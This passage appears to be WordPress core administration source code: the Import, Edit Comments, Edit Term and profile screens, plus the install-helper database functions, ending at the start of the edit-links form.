<?php
/**
 * Import WordPress Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

define( 'WP_LOAD_IMPORTERS', true );

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'import' ) ) {
	wp_die( __( 'Sorry, you are not allowed to import content into this site.' ) );
}

// Used in the HTML title tag.
$title = __( 'Import' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform.' ) . '</p>' .
			'<p>' . __( 'In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-import-screen/">Documentation on Import</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums">Support</a>' ) . '</p>'
);

if ( current_user_can( 'install_plugins' ) ) {
	// List of popular importer plugins from the WordPress.org API.
	$popular_importers = wp_get_popular_importers();
} else {
	$popular_importers = array();
}

// Detect and redirect invalid importers like 'movabletype', which is registered as 'mt'.
if ( ! empty( $_GET['invalid'] ) && isset( $popular_importers[ $_GET['invalid'] ] ) ) {
	$importer_id = $popular_importers[ $_GET['invalid'] ]['importer-id'];
	if ( $importer_id !== $_GET['invalid'] ) { // Prevent redirect loops.
		wp_redirect( admin_url( 'admin.php?import=' . $importer_id ) );
		exit;
	}
	unset( $importer_id );
}

add_thickbox();
wp_enqueue_script( 'plugin-install' );
wp_enqueue_script( 'updates' );

require_once ABSPATH . 'wp-admin/admin-header.php';
$parent_file = 'tools.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>
<?php
if ( ! empty( $_GET['invalid'] ) ) :
	$importer_not_installed = '<strong>' . __( 'Error:' ) . '</strong> ' . sprintf(
		/* translators: %s: Importer slug. */
		__( 'The %s importer is invalid or is not installed.' ),
		'<strong>' . esc_html( $_GET['invalid'] ) . '</strong>'
	);
	wp_admin_notice(
		$importer_not_installed,
		array(
			'additional_classes' => array( 'error' ),
		)
	);
endif;
?>
<p><?php _e( 'If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:' ); ?></p>

<?php
// Registered (already installed) importers. They're stored in the global $wp_importers.
$importers = get_importers();

// If a popular importer is not registered, create a dummy registration that links to the plugin installer.
foreach ( $popular_importers as $pop_importer => $pop_data ) {
	if ( isset( $importers[ $pop_importer ] ) ) {
		continue;
	}
	if ( isset( $importers[ $pop_data['importer-id'] ] ) ) {
		continue;
	}

	// Fill the array of registered (already installed) importers with data of the popular importers from the WordPress.org API.
	$importers[ $pop_data['importer-id'] ] = array(
		$pop_data['name'],
		$pop_data['description'],
		'install' => $pop_data['plugin-slug'],
	);
}

if ( empty( $importers ) ) {
	echo '<p>' . __( 'No importers are available.' ) . '</p>'; // TODO: Make more helpful.
} else {
	uasort( $importers, '_usort_by_first_member' );
	?>
<table class="widefat importers striped">

	<?php
	foreach ( $importers as $importer_id => $data ) {
		$plugin_slug         = '';
		$action              = '';
		$is_plugin_installed = false;

		if ( isset( $data['install'] ) ) {
			$plugin_slug = $data['install'];

			if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug ) ) {
				// Looks like an importer is installed, but not active.
				$plugins = get_plugins( '/' . $plugin_slug );
				if ( ! empty( $plugins ) ) {
					$keys        = array_keys( $plugins );
					$plugin_file = $plugin_slug . '/' . $keys[0];
					$url         = wp_nonce_url(
						add_query_arg(
							array(
								'action' => 'activate',
								'plugin' => $plugin_file,
								'from'   => 'import',
							),
							admin_url( 'plugins.php' )
						),
						'activate-plugin_' . $plugin_file
					);
					$action      = sprintf(
						'<a href="%s" aria-label="%s">%s</a>',
						esc_url( $url ),
						/* translators: %s: Importer name. */
						esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ),
						__( 'Run Importer' )
					);

					$is_plugin_installed = true;
				}
			}

			if ( empty( $action ) ) {
				if ( is_main_site() ) {
					$url    = wp_nonce_url(
						add_query_arg(
							array(
								'action' => 'install-plugin',
								'plugin' => $plugin_slug,
								'from'   => 'import',
							),
							self_admin_url( 'update.php' )
						),
						'install-plugin_' . $plugin_slug
					);
					$action = sprintf(
						'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%3$s" aria-label="%4$s">%5$s</a>',
						esc_url( $url ),
						esc_attr( $plugin_slug ),
						esc_attr( $data[0] ),
						/* translators: %s: Importer name. */
						esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $data[0] ) ),
						_x( 'Install Now', 'plugin' )
					);
				} else {
					$action = sprintf(
						/* translators: %s: URL to Import screen on the main site. */
						__( 'This importer is not installed. Please install importers from <a href="%s">the main site</a>.' ),
						get_admin_url( get_current_network_id(), 'import.php' )
					);
				}
			}
		} else {
			$url    = add_query_arg(
				array(
					'import' => $importer_id,
				),
				self_admin_url( 'admin.php' )
			);
			$action = sprintf(
				'<a href="%1$s" aria-label="%2$s">%3$s</a>',
				esc_url( $url ),
				/* translators: %s: Importer name. */
				esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ),
				__( 'Run Importer' )
			);

			$is_plugin_installed = true;
		}

		if ( ! $is_plugin_installed && is_main_site() ) {
			$url     = add_query_arg(
				array(
					'tab'       => 'plugin-information',
					'plugin'    => $plugin_slug,
					'from'      => 'import',
					'TB_iframe' => 'true',
					'width'     => 600,
					'height'    => 550,
				),
				network_admin_url( 'plugin-install.php' )
			);
			$action .= sprintf(
				' | <a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">%3$s</a>',
				esc_url( $url ),
				/* translators: %s: Importer name. */
				esc_attr( sprintf( __( 'More information about %s' ), $data[0] ) ),
				__( 'Details' )
			);
		}

		echo "
			<tr class='importer-item'>
				<td class='import-system'>
					<span class='importer-title'>{$data[0]}</span>
					<span class='importer-action'>{$action}</span>
				</td>
				<td class='desc'>
					<span class='importer-desc'>{$data[1]}</span>
				</td>
			</tr>";
	}
	?>
</table>
	<?php
}

if ( current_user_can( 'install_plugins' ) ) {
	echo '<p>' . sprintf(
		/* translators: %s: URL to Add Plugins screen. */
		__( 'If the importer you need is not listed, <a href="%s">search the plugin directory</a> to see if an importer is available.' ),
		esc_url( network_admin_url( 'plugin-install.php?tab=search&type=tag&s=importer' ) )
	) . '</p>';
}
?>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Edit Comments Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
if ( ! current_user_can( 'edit_posts' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit comments.' ) . '</p>',
		403
	);
}

$wp_list_table = _get_list_table( 'WP_Comments_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$doaction = $wp_list_table->current_action();

if ( $doaction ) {
	check_admin_referer( 'bulk-comments' );

	if ( 'delete_all' === $doaction && ! empty( $_REQUEST['pagegen_timestamp'] ) ) {
		/**
		 * @global wpdb $wpdb WordPress database abstraction object.
		 */
		global $wpdb;

		$comment_status = wp_unslash( $_REQUEST['comment_status'] );
		$delete_time    = wp_unslash( $_REQUEST['pagegen_timestamp'] );
		$comment_ids    = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT comment_ID FROM $wpdb->comments
				WHERE comment_approved = %s AND %s > comment_date_gmt",
				$comment_status,
				$delete_time
			)
		);
		$doaction       = 'delete';
	} elseif ( isset( $_REQUEST['delete_comments'] ) ) {
		$comment_ids = $_REQUEST['delete_comments'];
		$doaction    = $_REQUEST['action'];
	} elseif ( isset( $_REQUEST['ids'] ) ) {
		$comment_ids = array_map( 'absint', explode( ',', $_REQUEST['ids'] ) );
	} elseif ( wp_get_referer() ) {
		wp_safe_redirect( wp_get_referer() );
		exit;
	}

	$approved   = 0;
	$unapproved = 0;
	$spammed    = 0;
	$unspammed  = 0;
	$trashed    = 0;
	$untrashed  = 0;
	$deleted    = 0;

	$redirect_to = remove_query_arg(
		array(
			'trashed',
			'untrashed',
			'deleted',
			'spammed',
			'unspammed',
			'approved',
			'unapproved',
			'ids',
		),
		wp_get_referer()
	);
	$redirect_to = add_query_arg( 'paged', $pagenum, $redirect_to );

	wp_defer_comment_counting( true );

	foreach ( $comment_ids as $comment_id ) { // Check the permissions on each.
		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			continue;
		}

		switch ( $doaction ) {
			case 'approve':
				wp_set_comment_status( $comment_id, 'approve' );
				++$approved;
				break;
			case 'unapprove':
				wp_set_comment_status( $comment_id, 'hold' );
				++$unapproved;
				break;
			case 'spam':
				wp_spam_comment( $comment_id );
				++$spammed;
				break;
			case 'unspam':
				wp_unspam_comment( $comment_id );
				++$unspammed;
				break;
			case 'trash':
				wp_trash_comment( $comment_id );
				++$trashed;
				break;
			case 'untrash':
				wp_untrash_comment( $comment_id );
				++$untrashed;
				break;
			case 'delete':
				wp_delete_comment( $comment_id );
				++$deleted;
				break;
		}
	}

	if ( ! in_array( $doaction, array( 'approve', 'unapprove', 'spam', 'unspam', 'trash', 'delete' ), true ) ) {
		$screen = get_current_screen()->id;

		/** This action is documented in wp-admin/edit.php */
		$redirect_to = apply_filters( "handle_bulk_actions-{$screen}", $redirect_to, $doaction, $comment_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	wp_defer_comment_counting( false );

	if ( $approved ) {
		$redirect_to = add_query_arg( 'approved', $approved, $redirect_to );
	}
	if ( $unapproved ) {
		$redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to );
	}
	if ( $spammed ) {
		$redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to );
	}
	if ( $unspammed ) {
		$redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to );
	}
	if ( $trashed ) {
		$redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to );
	}
	if ( $untrashed ) {
		$redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to );
	}
	if ( $deleted ) {
		$redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to );
	}
	if ( $trashed || $spammed ) {
		$redirect_to = add_query_arg( 'ids', implode( ',', $comment_ids ), $redirect_to );
	}

	wp_safe_redirect( $redirect_to );
	exit;
} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
	wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
	exit;
}

$wp_list_table->prepare_items();

wp_enqueue_script( 'admin-comments' );
enqueue_comment_hotkeys_js();

/**
 * @global int $post_id
 */
global $post_id;

if ( $post_id ) {
	$comments_count      = wp_count_comments( $post_id );
	$draft_or_post_title = wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' );

	if ( $comments_count->moderated > 0 ) {
		// Used in the HTML title tag.
		$title = sprintf(
			/* translators: 1: Comments count, 2: Post title. */
			__( 'Comments (%1$s) on &#8220;%2$s&#8221;' ),
			number_format_i18n( $comments_count->moderated ),
			$draft_or_post_title
		);
	} else {
		// Used in the HTML title tag.
		$title = sprintf(
			/* translators: %s: Post title. */
			__( 'Comments on &#8220;%s&#8221;' ),
			$draft_or_post_title
		);
	}
} else {
	$comments_count = wp_count_comments();

	if ( $comments_count->moderated > 0 ) {
		// Used in the HTML title tag.
		$title = sprintf(
			/* translators: %s: Comments count. */
			__( 'Comments (%s)' ),
			number_format_i18n( $comments_count->moderated )
		);
	} else {
		// Used in the HTML title tag.
		$title = __( 'Comments' );
	}
}

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the bulk actions.' ) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'moderating-comments',
		'title'   => __( 'Moderating Comments' ),
		'content' =>
					'<p>' . __( 'A red bar on the left means the comment is waiting for you to moderate it.' ) . '</p>' .
					'<p>' . __( 'In the <strong>Author</strong> column, in addition to the author&#8217;s name, email address, and site URL, the commenter&#8217;s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' ) . '</p>' .
					'<p>' . __( 'In the <strong>Comment</strong> column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' ) . '</p>' .
					'<p>' . __( 'In the <strong>In response to</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post.' ) . '</p>' .
					'<p>' . __( 'In the <strong>Submitted on</strong> column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site.' ) . '</p>' .
					'<p>' . __( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/comments-screen/">Documentation on Comments</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/understand-comment-spam/">Documentation on Comment Spam</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/keyboard-shortcuts-classic-editor/#keyboard-shortcuts-for-comments">Documentation on Keyboard Shortcuts</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter comments list' ),
		'heading_pagination' => __( 'Comments list navigation' ),
		'heading_list'       => __( 'Comments list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
if ( $post_id ) {
	printf(
		/* translators: %s: Link to post. */
		__( 'Comments on &#8220;%s&#8221;' ),
		sprintf(
			'<a href="%1$s">%2$s</a>',
			get_edit_post_link( $post_id ),
			wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' )
		)
	);
} else {
	_e( 'Comments' );
}
?>
</h1>

<?php
if ( $post_id ) {
	$post_type_object = get_post_type_object( get_post_type( $post_id ) );

	if ( $post_type_object ) {
		printf(
			'<a href="%1$s" class="comments-view-item-link">%2$s</a>',
			get_permalink( $post_id ),
			$post_type_object->labels->view_item
		);
	}
}

if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
if ( isset( $_REQUEST['error'] ) ) {
	$error     = (int) $_REQUEST['error'];
	$error_msg = '';
	switch ( $error ) {
		case 1:
			$error_msg = __( 'Invalid comment ID.' );
			break;
		case 2:
			$error_msg = __( 'Sorry, you are not allowed to edit comments on this post.' );
			break;
	}
	if ( $error_msg ) {
		wp_admin_notice(
			$error_msg,
			array(
				'id'                 => 'moderated',
				'additional_classes' => array( 'error' ),
			)
		);
	}
}

if ( isset( $_REQUEST['approved'] )
	|| isset( $_REQUEST['deleted'] )
	|| isset( $_REQUEST['trashed'] )
	|| isset( $_REQUEST['untrashed'] )
	|| isset( $_REQUEST['spammed'] )
	|| isset( $_REQUEST['unspammed'] )
	|| isset( $_REQUEST['same'] )
) {
	$approved  = isset( $_REQUEST['approved'] ) ? (int) $_REQUEST['approved'] : 0;
	$deleted   = isset( $_REQUEST['deleted'] ) ? (int) $_REQUEST['deleted'] : 0;
	$trashed   = isset( $_REQUEST['trashed'] ) ? (int) $_REQUEST['trashed'] : 0;
	$untrashed = isset( $_REQUEST['untrashed'] ) ? (int) $_REQUEST['untrashed'] : 0;
	$spammed   = isset( $_REQUEST['spammed'] ) ? (int) $_REQUEST['spammed'] : 0;
	$unspammed = isset( $_REQUEST['unspammed'] ) ? (int) $_REQUEST['unspammed'] : 0;
	$same      = isset( $_REQUEST['same'] ) ? (int) $_REQUEST['same'] : 0;

	if ( $approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 || $same > 0 ) {
		if ( $approved > 0 ) {
			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment approved.', '%s comments approved.', $approved ),
				$approved
			);
		}

		if ( $spammed > 0 ) {
			$ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0;

			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ),
				$spammed
			) . sprintf(
				' <a href="%1$s">%2$s</a><br />',
				esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=unspam&ids=$ids", 'bulk-comments' ) ),
				__( 'Undo' )
			);
		}

		if ( $unspammed > 0 ) {
			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment restored from the spam.', '%s comments restored from the spam.', $unspammed ),
				$unspammed
			);
		}

		if ( $trashed > 0 ) {
			$ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0;

			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment moved to the Trash.', '%s comments moved to the Trash.', $trashed ),
				$trashed
			) . sprintf(
				' <a href="%1$s">%2$s</a><br />',
				esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=untrash&ids=$ids", 'bulk-comments' ) ),
				__( 'Undo' )
			);
		}

		if ( $untrashed > 0 ) {
			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment restored from the Trash.', '%s comments restored from the Trash.', $untrashed ),
				$untrashed
			);
		}

		if ( $deleted > 0 ) {
			$messages[] = sprintf(
				/* translators: %s: Number of comments. */
				_n( '%s comment permanently deleted.', '%s comments permanently deleted.', $deleted ),
				$deleted
			);
		}

		if ( $same > 0 ) {
			$comment = get_comment( $same );
			if ( $comment ) {
				switch ( $comment->comment_approved ) {
					case '1':
						$messages[] = __( 'This comment is already approved.' ) . sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ),
							__( 'Edit comment' )
						);
						break;
					case 'trash':
						$messages[] = __( 'This comment is already in the Trash.' ) . sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( admin_url( 'edit-comments.php?comment_status=trash' ) ),
							__( 'View Trash' )
						);
						break;
					case 'spam':
						$messages[] = __( 'This comment is already marked as spam.' ) . sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ),
							__( 'Edit comment' )
						);
						break;
				}
			}
		}

		wp_admin_notice(
			implode( "<br />\n", $messages ),
			array(
				'id'                 => 'moderated',
				'additional_classes' => array( 'updated' ),
				'dismissible'        => true,
			)
		);
	}
}
?>

<?php $wp_list_table->views(); ?>

<form id="comments-form" method="get">

<?php $wp_list_table->search_box( __( 'Search Comments' ), 'comment' ); ?>

<?php if ( $post_id ) : ?>
<input type="hidden" name="p" value="<?php echo esc_attr( (int) $post_id ); ?>" />
<?php endif; ?>
<input type="hidden" name="comment_status" value="<?php echo esc_attr( $comment_status ); ?>" />
<input type="hidden" name="pagegen_timestamp" value="<?php echo esc_attr( current_time( 'mysql', 1 ) ); ?>" />

<input type="hidden" name="_total" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg( 'total_items' ) ); ?>" />
<input type="hidden" name="_per_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg( 'per_page' ) ); ?>" />
<input type="hidden" name="_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg( 'page' ) ); ?>" />

<?php if ( isset( $_REQUEST['paged'] ) ) { ?>
	<input type="hidden" name="paged" value="<?php echo esc_attr( absint( $_REQUEST['paged'] ) ); ?>" />
<?php } ?>

<?php $wp_list_table->display(); ?>
</form>
</div>

<div id="ajax-response"></div>

<?php
wp_comment_reply( '-1', true, 'detail' );
wp_comment_trashnotice();
require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Plugins may load this file to gain access to special helper functions
 * for plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once.
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience timeouts.
 * If you do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     // Check the column.
 *     if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     $error_count = 0;
 *     $tablename   = $wpdb->links;
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

if ( ! function_exists( 'maybe_create_table' ) ) :
	/**
	 * Creates a table in the database if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name Database table name.
	 * @param string $create_ddl SQL statement to create table.
	 * @return bool True on success or if the table already exists. False on failure.
	 */
	function maybe_create_table( $table_name, $create_ddl ) {
		global $wpdb;

		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		return false;
	}
endif;

if ( ! function_exists( 'maybe_add_column' ) ) :
	/**
	 * Adds column to database table, if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name  Database table name.
	 * @param string $column_name Table column name.
	 * @param string $create_ddl  SQL statement to add column.
	 * @return bool True on success or if the column already exists. False on failure.
	 */
	function maybe_add_column( $table_name, $column_name, $create_ddl ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		return false;
	}
endif;

/**
 * Drops column from database table, if it exists.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $drop_ddl    SQL statement to drop column.
 * @return bool True on success or if the column doesn't exist. False on failure.
 */
function maybe_drop_column( $table_name, $column_name, $drop_ddl ) {
	global $wpdb;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {

			// Found it, so try to drop it.
			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
			$wpdb->query( $drop_ddl );

			// We cannot directly tell whether this succeeded!
			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
			foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
				if ( $column === $column_name ) {
					return false;
				}
			}
		}
	}

	// Else didn't find it.
	return true;
}

/**
 * Checks that database table column matches the criteria.
 *
 * Uses the SQL DESC for retrieving the table info for the column. It will help
 * understand the parameters, if you do more research on what column information
 * is returned by the SQL statement. Pass in null to skip checking that criteria.
 *
 * Column names returned from DESC table are case sensitive and are as listed:
 *
 *  - Field
 *  - Type
 *  - Null
 *  - Key
 *  - Default
 *  - Extra
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name    Database table name.
 * @param string $col_name      Table column name.
 * @param string $col_type      Table column type.
 * @param bool   $is_null       Optional. Check is null.
 * @param mixed  $key           Optional. Key info.
 * @param mixed  $default_value Optional. Default value.
 * @param mixed  $extra         Optional. Extra value.
 * @return bool True, if matches. False, if not matching.
 */
function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) {
	global $wpdb;

	$diffs = 0;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	$results = $wpdb->get_results( "DESC $table_name" );

	foreach ( $results as $row ) {

		if ( $row->Field === $col_name ) {

			// Got our column, check the params.
			if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) {
				++$diffs;
			}
			if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) {
				++$diffs;
			}
			if ( ( null !== $key ) && ( $row->Key !== $key ) ) {
				++$diffs;
			}
			if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) {
				++$diffs;
			}
			if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) {
				++$diffs;
			}

			if ( $diffs > 0 ) {
				return false;
			}

			return true;
		} // End if found our column.
	}

	return false;
}
<?php
/**
 * Custom background script.
 *
 * This file is deprecated, use 'wp-admin/includes/class-custom-background.php' instead.
 *
 * @deprecated 5.3.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', 'wp-admin/includes/class-custom-background.php' );

/** Custom_Background class */
require_once ABSPATH . 'wp-admin/includes/class-custom-background.php';
<?php
/**
 * Edit Term Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.5.0
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( empty( $_REQUEST['tag_ID'] ) ) {
	$sendback = admin_url( 'edit-tags.php' );
	if ( ! empty( $taxnow ) ) {
		$sendback = add_query_arg( array( 'taxonomy' => $taxnow ), $sendback );
	}

	if ( 'post' !== get_current_screen()->post_type ) {
		$sendback = add_query_arg( 'post_type', get_current_screen()->post_type, $sendback );
	}

	wp_redirect( sanitize_url( $sendback ) );
	exit;
}

$tag_ID = absint( $_REQUEST['tag_ID'] );
$tag    = get_term( $tag_ID, $taxnow, OBJECT, 'edit' );

if ( ! $tag instanceof WP_Term ) {
	wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
}

$tax      = get_taxonomy( $tag->taxonomy );
$taxonomy = $tax->name;
$title    = $tax->labels->edit_item;

if ( ! in_array( $taxonomy, get_taxonomies( array( 'show_ui' => true ) ), true )
	|| ! current_user_can( 'edit_term', $tag->term_id )
) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
		403
	);
}

$post_type = get_current_screen()->post_type;

// Default to the first object_type associated with the taxonomy if no post type was passed.
if ( empty( $post_type ) ) {
	$post_type = reset( $tax->object_type );
}

if ( 'post' !== $post_type ) {
	$parent_file  = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type";
	$submenu_file = "edit-tags.php?taxonomy=$taxonomy&amp;post_type=$post_type";
} elseif ( 'link_category' === $taxonomy ) {
	$parent_file  = 'link-manager.php';
	$submenu_file = 'edit-tags.php?taxonomy=link_category';
} else {
	$parent_file  = 'edit.php';
	$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
}

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => $tax->labels->items_list_navigation,
		'heading_list'       => $tax->labels->items_list,
	)
);
wp_enqueue_script( 'admin-tags' );
require_once ABSPATH . 'wp-admin/admin-header.php';
require ABSPATH . 'wp-admin/edit-tag-form.php';
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * User Profile Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * This is a profile page.
 *
 * @since 2.5.0
 * @var bool
 */
define( 'IS_PROFILE_PAGE', true );

/** Load User Editing Page */
require_once __DIR__ . '/user-edit.php';
<?php
/**
 * Edit links form for inclusion in administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
